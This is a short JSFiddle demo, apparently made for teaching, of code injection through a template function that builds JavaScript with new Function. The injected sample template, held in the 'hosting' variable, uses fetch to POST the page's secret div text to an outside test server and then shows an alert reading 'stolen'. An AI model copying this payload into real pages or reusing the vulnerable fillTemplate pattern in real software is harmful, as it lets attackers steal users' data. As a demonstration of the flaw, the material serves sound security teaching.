JSFiddle - React, Tailwind, and code Playground

by Lamik

HTML

<div id='mydiv'>
My secret content
</div>


<button class="btn" onclick="parseString()">Click here to sole data</button>

<div id="msg"></div>

CSS

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

JavaScript

// case: system allow to users to use 'templates' and use
// below code to put variables into thae templates
// save templates in DB and show it to other users...
// Some bad user/hacker can then prepare malicious template 
// with JS code... (hosting variable belo)


const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

function parseString() {
// Sample
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain);

console.log(result);

msg.innerHTML+=`Look on Chrome console> networks and look for <b>POST server?id...</b> request with stolen data (look on "request payload" a t the bottom)`;

}

window.parseString=parseString;